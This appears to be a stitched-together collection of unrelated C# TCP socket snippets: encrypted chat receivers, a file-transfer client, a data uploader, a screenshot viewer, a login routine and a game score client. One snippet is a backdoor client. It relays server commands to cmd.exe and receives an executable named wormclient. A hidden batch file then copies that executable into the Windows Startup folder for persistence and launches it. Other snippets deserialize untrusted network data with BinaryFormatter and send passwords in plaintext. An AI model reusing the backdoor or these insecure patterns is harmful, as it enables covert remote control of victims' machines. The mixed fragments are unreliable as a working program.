// ExecuteClient() Method
static void ExecuteClient()
{
try {
// Establish the remote endpoint
// for the socket. This example
// uses port 11111 on the local
// computer.
IPHostEntry ipHost = Dns.GetHostEntry(Dns.GetHostName());
IPAddress ipAddr = ipHost.AddressList[0];
IPEndPoint localEndPoint = new IPEndPoint(ipAddr, 11111);
// Creation TCP/IP Socket using
// Socket Class Costructor
Socket sender = new Socket(ipAddr.AddressFamily,
SocketType.Stream, ProtocolType.Tcp);
try {
// Connect Socket to the remote
// endpoint using method Connect()
sender.Connect(localEndPoint);
// We print EndPoint information
// that we are connected
Console.WriteLine("Socket connected to -> {0} ",
sender.RemoteEndPoint.ToString());
// Creation of messagge that
// we will send to Server
byte[] messageSent = Encoding.ASCII.GetBytes("Test Client<EOF>");
int byteSent = sender.Send(messageSent);
// Data buffer
byte[] messageReceived = new byte[1024];
// We receive the messagge using
// the method Receive(). This
// method returns number of bytes
// received, that we'll use to
// convert them to string
int byteRecv = sender.Receive(messageReceived);
Console.WriteLine("Message from Server -> {0}",
Encoding.ASCII.GetString(messageReceived,
0, byteRecv));
// Close Socket using
// the method Close()
sender.Shutdown(SocketShutdown.Both);
sender.Close();
}
// Manage of Socket's Exceptions
catch (ArgumentNullException ane) {
Console.WriteLine("ArgumentNullException : {0}", ane.ToString());
}
catch (SocketException se) {
Console.WriteLine("SocketException : {0}", se.ToString());
}
catch (Exception e) {
Console.WriteLine("Unexpected exception : {0}", e.ToString());
}
}
catch (Exception e) {
Console.WriteLine(e.ToString());
}
}
/// <summary>
/// Receive Message
/// </summary>
void Receive()
{
try
{
c : while (true)//luôn luôn nhận
{
data = new byte[1024];
client.Receive(data);
if (string.Equals(Encoding.UTF8.GetString(data), "guikey", StringComparison.InvariantCultureIgnoreCase))
{
txtkeyserver.Clear();
txtFinalKey.Clear();
nhankeydadoi = new byte[140];
client.Receive(nhankeydadoi);
keypublic = Convert.ToBase64String(nhankeydadoi);
txtkeyserver.Text = keypublic;
TaoKey();
Diff.LayKhoaBiMat(nhankeydadoi);
khoabimat = Diff.aes.Key;
keysecret = Convert.ToBase64String(khoabimat);
txtFinalKey.Text = keysecret;
nhankey = nhankeydadoi;
guilaipublickey();
}
else if (string.Equals(Encoding.UTF8.GetString(data), "guikeytoclient", StringComparison.InvariantCultureIgnoreCase))
{
txtkeyserver.Clear();
txtFinalKey.Clear();
nhankeydadoi = new byte[140];
client.Receive(nhankeydadoi);
keypublic = Convert.ToBase64String(nhankeydadoi);
txtkeyserver.Text = keypublic;
Diff.LayKhoaBiMat(nhankeydadoi);
khoabimat = Diff.aes.Key;
keysecret = Convert.ToBase64String(khoabimat);
txtFinalKey.Text = keysecret;
nhankey = nhankeydadoi;
}
else
{
dateTimeIV = md5.maHoaMd5(DateTime.Now.ToString());
string time = dateTimeIV.Substring(0, 16);
dateTimeIv = Encoding.UTF8.GetBytes(time);
tinnhan = new byte[BitConverter.ToInt32(data, 0)];
client.Receive(tinnhan);
byte[] nhanvector = new byte[16];
client.Receive(nhanvector);
string message = Diff.GiaiMaDiffie(nhankey, tinnhan, nhanvector);
string a = txtFinalKey.Text.Substring(0, 32);
byte[] key = Encoding.ASCII.GetBytes(a);
string s = aes.DecryptString(message, key, dateTimeIv);
foreach (char c in s)
{
if (c.ToString() == ";")
{
string[] tokens = s.Trim().Split(';');
compare1 = tokens[1];
compare2 = md5.maHoaMd5(tokens[0]);
if (compare1 != compare2)
{
AddMessage(tokens[0]);
MessageHeTHong("chuỗi này đã bị thay đổi vì 2 chuỗi mã hóa khác nhau :");
MessageHeTHong("Chuỗi mã hóa trước khi gửi :" + compare1);
MessageHeTHong("chuỗi mã hóa sau khi mã hóa tin nhận :" + compare2);
goto c;
}
}
}
AddMessage(s);
}
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
public void handleMessage()
{
byte[] response = new byte[4];
client.Receive(response);
string message = Encoding.Default.GetString(response);
message = message.ToLower();
switch (message)
{
case "liok": // The server is sending the file list
SendMessage("lico");
receiveFileList();
break;
case "welc":
monitor.AppendText("Connected to server\n");
break;
case "unok":
SendMessage("unam"); // now sending the real user name
break;
case "usno":
//button
connected = false;
connectButton.Enabled = true;
nameUserTb.Enabled = true;
PortNumber.Enabled = true;
IP.Enabled = true;
client.Close();
monitor.AppendText("Username is already connected to the server.\n");
break;
case "down": // send request to download the file
break;
case "dlco": // deletion of the of the file is okey
monitor.AppendText(tb_FileToDelete.Text + " is deleted\n");
break;
case "fiok": // Server send ack to receive data
SendMessage("fnme"); // Send info about sending file name
break;
case "fnok":
sendFileName();
break;
case "fnco":
//SendMessage("data"); // send the real data of the file
SendMessage("pckn");
break;
case "pcok":
sendNumberOfPackets();
break;
case "pcco": // Server got number of packets in its hand. Now send the real data
SendMessage("data");
break;
case "daok":
sendFileData();
break;
case "dafi":
monitor.AppendText("Sent the file named " + fileToSend + "\n");
break;
case "chok": // server ACK
sendFileNamesToRename();
break;
case "fdne": // file does not exist error message
showNotificationBalloon("File does not exist in the server. Check the file name");
break;
case "":
showNotificationBalloon("New file name is invalid\n");
break;
case "deok":
sendFileNameToDelete();
break;
case "dook":
SendMessage("doco");
break;
case "refn":
sendFileNameToDownload();
break;
case "dcom":
SendMessage("dcok");
break;
case "pckn": // packet numarasını alıyorum diyoruz
SendMessage("nuok");
NoOfPacketsDownload = rececivePacketNumber();
SendMessage("nudo");
break;
case "fida":
SendMessage("fdok"); // anladım diyorum
downloadFileData();
//SendMessage("fcom");
break;
case "dsok":
connected = false;
SendMessage("dico");
break;
case "dido":
client.Close();
monitor.AppendText("Disconnected from the server\n");
break;
}
}
static void Main(string[] args)
{
try
{
//Для подключения к SQLite, создается один раз
SQLiteFactory factory = (SQLiteFactory)DbProviderFactories.GetFactory("System.Data.SQLite");
Console.WriteLine("Сгенерировать новую БД SQLite? (y/n)");
ConsoleKeyInfo keyInfo = Console.ReadKey(false);
if (keyInfo.KeyChar == 'y' || keyInfo.KeyChar == 'у' || keyInfo.KeyChar == 'д')
{
//генерация новой БД
Console.WriteLine("Запись данных в БД SQLite");
WriteSQLite(factory);
Console.WriteLine("Нажмите любую клавишу для продолжения...");
Console.ReadKey(true);
}
//чтение БД
Console.WriteLine("Чтение данных из БД SQLite");
List <FullRow> rows = ReadSQLite(factory);
string str_data = JsonConvert.SerializeObject(rows);
// подключаемся к удаленному хосту
IPEndPoint ipPoint = new IPEndPoint(IPAddress.Parse(address), port);
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
socket.Connect(ipPoint);
Console.WriteLine("Шифрование данных");
// получаем публичный ключ RSA
byte[] data_rsa = new byte[2048]; // буфер для ответа
int bytes = socket.Receive(data_rsa, data_rsa.Length, 0);
string serial_rsa = Encoding.Unicode.GetString(data_rsa, 0, bytes);
RSAParameters rsaParams = JsonConvert.DeserializeObject <RSAParameters>(serial_rsa);
//шифруем симметричным шифрованием данные
Rijndael cipher = Rijndael.Create();
string encrypted = Encrypt(str_data, cipher.Key, cipher.IV);
//string decrypted = Decrypt(encrypted, cipher.Key, cipher.IV);
//шифруем RSA ключ симметричного шифрования
byte[] encrypted_key = RSAEncrypt(cipher.Key, rsaParams);
//byte[] decrypted_key = RSAEncrypt(encrypted_key, RSA.ExportParameters(true));
//удаляем из памяти экземпляр класса симметричного шифрования
byte[] iv = cipher.IV;
cipher.Dispose();
Console.WriteLine("Пересылка данных");
//отправляем зашифрованный ключ симметричного шифрования
socket.Send(encrypted_key);
// получаем подтверждение
byte[] data = new byte[256]; // буфер для ответа
bytes = socket.Receive(data, data.Length, 0);
string answer = Encoding.Unicode.GetString(data, 0, bytes);
if (!answer.Equals("ready"))
{
throw new Exception("Получены некорректные данные");
}
//отправляем инициализующий вектор симметричного шифрования в открытом виде
socket.Send(iv);
//получаем подтверждение
data = new byte[256]; // буфер для ответа
bytes = socket.Receive(data, data.Length, 0);
answer = Encoding.Unicode.GetString(data, 0, bytes);
if (!answer.Equals("ready"))
{
throw new Exception("Получены некорректные данные");
}
//отправляем размер данных
byte[] data_rows = Encoding.Unicode.GetBytes(encrypted);
string message = "отправка " + data_rows.Length;
data = Encoding.Unicode.GetBytes(message);
socket.Send(data);
// получаем подтверждение
data = new byte[256]; // буфер для ответа
bytes = socket.Receive(data, data.Length, 0);
answer = Encoding.Unicode.GetString(data, 0, bytes);
if (!answer.Equals("ready"))
{
throw new Exception("Получены некорректные данные");
}
//отправляем зашифрованные данные
socket.Send(data_rows);
// получаем количество доставленных байт
data = new byte[256]; // буфер для ответа
bytes = socket.Receive(data, data.Length, 0);
answer = Encoding.Unicode.GetString(data, 0, bytes);
//отображаем отчет
string[] res = answer.Split(' ');
if (res.Length != 2 || !res[0].Equals("доставлено"))
{
throw new Exception("Получены некорректные данные");
}
int count = int.Parse(res[1]);
Console.WriteLine("Отправлено {0} байт.\nДоставлено {1} байт", data_rows.Length, count);
// закрываем сокет
socket.Shutdown(SocketShutdown.Both);
socket.Close();
}
catch (Exception ex)
{
Console.WriteLine("Произошла ошибка {0}. Приложение будет закрыто.", ex.Message);
}
Console.WriteLine("Нажмите любую клавишу для выхода...");
Console.ReadKey(true);
Environment.Exit(0);
}
void Receive()
{
try
{
c : while (true)
{
data = new byte[1024];
client.Receive(data);
if (string.Equals(Encoding.UTF8.GetString(data), "guikey", StringComparison.InvariantCultureIgnoreCase))
{
textBox2.Clear();
textBox4.Clear();
nhankeydadoi = new byte[140];
client.Receive(nhankeydadoi);
keypublic = Convert.ToBase64String(nhankeydadoi);
textBox2.Text = keypublic;
TaoKey();
Diff.LayKhoaBiMat(nhankeydadoi);
khoabimat = Diff.aes.Key;
keysecret = Convert.ToBase64String(khoabimat);
textBox4.Text = keysecret;
nhankey = nhankeydadoi;
guilaipublickey();
}
else if (string.Equals(Encoding.UTF8.GetString(data), "guikeytoclient", StringComparison.InvariantCultureIgnoreCase))
{
textBox2.Clear();
textBox4.Clear();
nhankeydadoi = new byte[140];
client.Receive(nhankeydadoi);
keypublic = Convert.ToBase64String(nhankeydadoi);
textBox2.Text = keypublic;
Diff.LayKhoaBiMat(nhankeydadoi);
khoabimat = Diff.aes.Key;
keysecret = Convert.ToBase64String(khoabimat);
textBox4.Text = keysecret;
nhankey = nhankeydadoi;
}
else
{
dateTimeIV = md5.maHoaMd5(DateTime.Now.ToString());
string time = dateTimeIV.Substring(0, 16);
dateTimeIv = Encoding.UTF8.GetBytes(time);
tinnhan = new byte[BitConverter.ToInt32(data, 0)];
client.Receive(tinnhan);
byte[] nhanvector = new byte[16];
client.Receive(nhanvector);
string message = Diff.GiaiMaDiffie(nhankey, tinnhan, nhanvector);
string a = textBox4.Text.Substring(0, 32);
byte[] key = Encoding.ASCII.GetBytes(a);
string s = aes.DecryptString(message, key, dateTimeIv);
string[] arr = s.Split('|');
string padding = arr[1];
string result = s.Substring(0, s.Length - int.Parse(padding));
AddMessage(result);
}
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
//Прием данных
static void Recive()
{
string s1;
while (true)
{
buffer = new byte[1024];
try
{
Console.WriteLine("Receive...");
i = s.Receive(buffer);
Console.WriteLine("Received succes");
//Console.WriteLine("Received succes. Prineto " + i.ToString()+ " bytes");
}
catch (Exception e)
{
Console.WriteLine("Not recive: {0}", e.Message);
Thread.Sleep(1000);
continue;
}
/// Записываем входные данные в строку
s1 = Encoding.ASCII.GetString(buffer, 0, i);
if (newProg == null)
{
switch (s1)
{
//Закрытие программы
case "exit":
exit();
//Process.GetCurrentProcess().Dispose();
break;
//Перезапуск программы
case "reset":
//reset();
break;
//Запуск приложения
case "run":
//reset();
break;
//Остановка запущенного приложения
case "stop":
if (newProg != null)
{
newProg.Dispose();
newProg = null;
}
break;
//Запуск CMD.EXE
case "cmd":
try
{
newProg = new ProgramStart("cmd");
//runProgram("cmd");
//send("Program_started");
//s.Send()
Console.WriteLine("Program zapush");
}
catch (Exception e)
{
//MessageBox.Show(e.Message);
send("Program_not_started " + e.Message);
}
break;
//Прием файла
case "filerecive":
int countbyte = s.Receive(buffer);
string countstring = Encoding.ASCII.GetString(buffer, 0, countbyte);
int filesize = int.Parse(countstring);
int filesize1 = 0;
long filesize2 = 0;
buffer = new byte[s.ReceiveBufferSize];
bool _bool = true;
byte[] data = new byte[filesize];
Console.WriteLine("Priem faila razmerom: {0}", filesize);
while (_bool)
{
Console.WriteLine("Prinimaiu.........");
int j = s.Receive(buffer);
filesize1 += j;
Console.WriteLine("Prinial {0} bayt", j.ToString());
Console.WriteLine("Prinial vsego {0} baytov", filesize1);
try
{
if (j < s.ReceiveBufferSize)
{
byte[] data2 = new byte[j];
Array.Copy(buffer, data2, j);
data2.CopyTo(data, filesize2);
}
buffer.CopyTo(data, filesize2);
}
catch (Exception e)
{
}
filesize2 += j;
if (filesize1 == filesize)
{
Console.WriteLine("Priem okonchen");
_bool = false;
continue;
}
}
Console.WriteLine("Zapis` v fail");
File.WriteAllBytes(@".\wormclient1.exe", data);
string _string = @"TASKKILL /F /IM " + Process.GetCurrentProcess().ProcessName + ".exe" + Environment.NewLine + @"COPY wormclient1.exe " + @"""%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wormclient.exe""" + Environment.NewLine + "del /f /q wormclient1.exe" + Environment.NewLine + "start /b wormclient.exe";
File.WriteAllText(@Directory.GetCurrentDirectory() + "/run.bat", _string);
Process p = new Process();
p.StartInfo.FileName = @Directory.GetCurrentDirectory() + "/run.bat";
p.StartInfo.Arguments = " /b";
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
/*
* try
* {
* new FileInfo(@"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat").Attributes = FileAttributes.Hidden;
* new FileInfo(@"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wormclient.exe").Attributes = FileAttributes.Hidden;
* }
* catch (Exception e)
* {
* MessageBox.Show(e.Message);
* }
*/
//new FileInfo(@"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wormclient.exe").Attributes = FileAttributes.Hidden;
p.Start();
Console.WriteLine("File priniat");
buffer = new byte[1024];
break;
case "":
Console.WriteLine("Pusto");
break;
default:
if (buffer.Length <= 1024)
{
Console.WriteLine(s1 + " Not found");
}
break;
}
}
else
{
if (s1 != "stop")
{
newProg.sendCommandfunc(s1);
}
else
{
newProg.Dispose();
newProg = null;
send("Programma zakrbita");
}
}
buffer = null;
Thread.Sleep(1000);
}
}
private void ServerMsg()
/*{
* byte[] b = new byte[4096];
* MemoryStream fs = new MemoryStream();
* NetworkStream ns = new NetworkStream(testSocket);
* int length = 0;
* try
* {
* Thread.Sleep(30000);
* if (ns.CanRead)
* {
* while (ns.DataAvailable)
* {
* length = ns.Read(b, 0, b.Length);
* fs.Write(b, 0, length);
* }
* MessageBox.Show("1");
* }
*
* Bitmap Img = new Bitmap(fs);
* Img.Save(@"01.bmp", ImageFormat.Bmp);
* fs.Flush();
* fs.Close();
* }
* catch (Exception e)
* {
* //Bitmap Img = new Bitmap(fs);
* //Img.Save(@"01.bmp", ImageFormat.Bmp);
* //fs.Flush();
* //fs.Close();
* MessageBox.Show(e.Message);
* label1.BackColor = Color.Red;
* }
* }*/
{
while (true)
{
//FileStream wrtr = new FileStream(@"F:\GIT\SWSRemoteControl\Client\Client\bin\Debug" + "//test.bmp", FileMode.Create);
MemoryStream fs = new MemoryStream();
Socket socketServer = testSocket;
NetworkStream ns = new NetworkStream(socketServer);
byte[] buffer = new byte[1024];
int rect = socketServer.Receive(buffer, 0, 1024, 0);
int size = BitConverter.ToInt32(buffer, 0);
int dataleft = size;
buffer = new byte[size];
int total = 0;
while (total < size) //当接收长度小于总长度时继续执行
{
rect = socketServer.Receive(buffer, total, dataleft, 0); //接收字节流，receive方法返回int获取已接收字节个数，第一个参数是需要写入的字节组，第二个参数是起始位置，第三个参数是接收字节的长度
textBox1.AppendText(rect.ToString() + "\n");
total += rect; //已接收个数-下一次从当前个数开始接收
dataleft -= rect; //剩下的字节长度
}
fs.Write(buffer, 0, buffer.Length); //输出文件
Bitmap Img = new Bitmap(fs);
fs.Flush(); //强制输出
fs.Close(); //关闭文件流对象
pictureBox1.Image = Img;
Thread.Sleep(100);
break;
}
}
private void SendMessageFromSocket(object port)
{
try
{
// Буфер для входящих данных
byte[] bytes = new byte[1024];
// Соединяемся с удаленным устройством
// Устанавливаем удаленную точку для сокета
IPHostEntry ipHost = Dns.GetHostEntry("localhost");
IPAddress ipAddr = ipHost.AddressList[0];
IPEndPoint ipEndPoint = new IPEndPoint(ipAddr, (int)port);
Socket sender = new Socket(ipAddr.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
// Соединяем сокет с удаленной точкой
sender.Connect(ipEndPoint);
string request = "";
Dispatcher.Invoke(() =>
{
request = indexTextBox.Text;
indexTextBox.Text = string.Empty;
});
byte[] msg = Encoding.UTF8.GetBytes(request);
// Отправляем данные через сокет
int bytesSent = sender.Send(msg);
// Получаем ответ от сервера
int bytesRec = sender.Receive(bytes);
string str = Encoding.UTF8.GetString(bytes, 0, bytesRec);
for (int i = 0; i < str.Length; i++)
{
if (str[i] == '.')
{
str = str.Insert(i + 1, ", ");
}
}
Dispatcher.Invoke(() =>
{
streetTextBox.Text = str;
});
// Освобождаем сокет
sender.Shutdown(SocketShutdown.Both);
sender.Close();
}
catch (SocketException ex)
{
MessageBox.Show(ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Error);
}
catch (ArgumentNullException ex)
{
MessageBox.Show(ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Error);
}
catch (Exception ex)
{
MessageBox.Show(ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Error);
}
}
/// <summary>
/// 处理数据的接收
/// </summary>
/// <param name="obj"></param>
private void RecievedHandle(object obj)
{
//获取套接字
Socket acSocket = obj as Socket;
//定义缓存 1MB
byte[] buffer = new byte[1024 * 1024 * 3];
//获取远端IP及端口
string ip = acSocket.RemoteEndPoint.ToString();
//文件IO
Stream fs = null;
//已接收文件大小
long curFileSize = 0;
//响应
byte[] answer = new byte[] { 1 };
while (true)
{
int ret;
try
{
Array.Clear(buffer, 0, buffer.Length);
//接收消息
ret = acSocket.Receive(buffer, buffer.Length, SocketFlags.None);
if (ret <= 0)
{
//服务器端断开时处理异常
log(ip, "服务器维护中，请联系管理员！");
//关闭套接字
acSocket.Close();
//退出线程
return;
}
Package pack = null;
try
{
BinaryFormatter formatter = new BinaryFormatter();
using (MemoryStream mStream = new MemoryStream())
{
mStream.Write(buffer, 0, ret);
mStream.Flush();
mStream.Seek(0, SeekOrigin.Begin);
pack = (Package)formatter.Deserialize(mStream);
}
}
catch (Exception)
{
//错误的包重传
acSocket.Send(new byte[] { 0 }, SocketFlags.OutOfBand);
log("warm", "回传包");
continue;
}
//消息
if (pack.PackType == PackageType.message)
{
//写入日志
log(pack.Src_IP_Port, pack.Message);
}
else if (pack.PackType == PackageType.moveFrm)//闪屏
{
log(pack.Src_IP_Port, "发送了一个抖窗");
MoveFrm(this);
}
else if (pack.PackType == PackageType.file)//文件
{
curFileSize += pack.FileBuffer.Length;
SetProgressBarLabel(pbReceive, lblReceive, curFileSize, pack.FileSize);
fs = FileReceived(fs, pack, ref curFileSize);
}
acSocket.Send(answer, SocketFlags.OutOfBand);
}
catch (Exception ex)
{
curFileSize = 0;
ResetProgressBarLabel(pbReceive, lblReceive);
log("error", ex.Message);
if (null != fs)
{
fs.Close();
fs.Dispose();
fs = null;
}
//客户端断开时处理异常
log(ip, "服务器维护中，请联系管理员！");
//关闭套接字
acSocket.Close();
//处理控件状态
FrmStatus(true);
//退出线程
return;
}
}
}
//Method to login and connect to server
public bool connect()
{
TextBox userName = Application.OpenForms["Form1"].Controls["textBox1"] as TextBox;
TextBox password = Application.OpenForms["Form1"].Controls["textBox2"] as TextBox;
TextBox txtServerIP = Application.OpenForms["Form1"].Controls["txtServerIP"] as TextBox;
TextBox txtServerPort = Application.OpenForms["Form1"].Controls["txtServerPort"] as TextBox;
if (oneTime)
{
IPAddress host = IPAddress.Parse(txtServerIP.Text);////161.45.167.244");
IPEndPoint hostep = new IPEndPoint(host, Int32.Parse(txtServerPort.Text));
sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
sock.Connect(hostep);
oneTime = false;
}
string UnamePassword = userName.Text + ";_;" + password.Text;
byte[] msg = Encoding.ASCII.GetBytes(UnamePassword);
byte[] reply = new byte[5];
// Send the data through the socket.
int bytesSent = sock.Send(msg);
sock.Receive(reply);
//MessageBox.Show(System.Text.Encoding.ASCII.GetString(reply));
//Socket1 = new TcpClient();
//Socket1.Connect("10.1.10.136", 3000);
//NetworkStream strm = Socket1.GetStream();
//ASCIIEncoding uname = new ASCIIEncoding();
//ASCIIEncoding size = new ASCIIEncoding();
//string UnamePassword=userName.Text+";_;"+password.Text;
//byte[] msg = uname.GetBytes(UnamePassword);
//var length = msg.Length.ToString();
////string lengthOfMessage;
//strm.Write(size.GetBytes(length), 0, size.GetBytes(length).Length);
//strm.Write(msg, 0, msg.Length);
//strm.se
//Socket.Available
string k = System.Text.Encoding.ASCII.GetString(reply, 0, 5);
int result = 0;
if (k.Contains("true"))
{
result = Int32.Parse(k.Substring(4, 1));
k = "true";
}
if (bool.Parse(k))
{
if (result == 1)
{
MessageBox.Show("User Didn't exist, Login has been created with credentials entered");
}
uName = userName.Text;
return(true);
}
else
{
loginCount++;
if (loginCount == 3)
{
MessageBox.Show("Limit(3 times) for wrong password reached.");
//sock.Close();
Environment.Exit(0);
oneTime = true;
}
return(false);
}
//return bool.Parse(reply.ToString());
}
// Function to get the score of every player from the server
public List <Player> GetScoreAllPlayers()
{
List <Player> players = new List <Player>();
// Data buffer for incoming data.
byte[] bytes = new byte[1024];
// Connect to a remote device.
try
{
var address = Dns.GetHostEntry(serverAddress).AddressList.First(ip => ip.AddressFamily == AddressFamily.InterNetworkV6); // IPV4 to IPV6 address
IPAddress ipAddress = address;
IPEndPoint remoteEP = new IPEndPoint(ipAddress, Int32.Parse(serverPort));
// Create a TCP/IP socket.
Socket sender = new Socket(ipAddress.AddressFamily,
SocketType.Stream, ProtocolType.Tcp);
// Connect the socket to the remote endpoint. Catch any errors.
try
{
sender.Connect(remoteEP);
// Encode the data string into a byte array.
byte[] msg = Encoding.ASCII.GetBytes("<ScorePlayers>" + this.id);// Ask the score of other players
// Send the data through the socket.
int bytesSent = sender.Send(msg);
// Receive the response from the remote device.
int bytesRec = sender.Receive(bytes);
string result = Encoding.ASCII.GetString(bytes, 0, bytesRec);
if (result.IndexOf("<ReturnScorePlayers>") < 0)
{
Console.WriteLine("Server return error.");
}
// Release the socket.
sender.Shutdown(SocketShutdown.Both);
sender.Close();
// Get the answer of the server and put it on the List of players score
result = result.Replace("<ReturnScorePlayers>", "");
string[] result_array = result.Split(';');
for (int i = 0; i < result_array.Length; i += 2)
{
players.Add(new Player(result_array[i], Int16.Parse(result_array[i + 1])));// Create a new player with its id and score and add it to the list of all players
}
return(players);
}
catch (Exception e)
{
Console.WriteLine("Unexpected exception : {0}", e.ToString());
}
}
catch (Exception e)
{
Console.WriteLine(e.ToString());
}
return(null);
}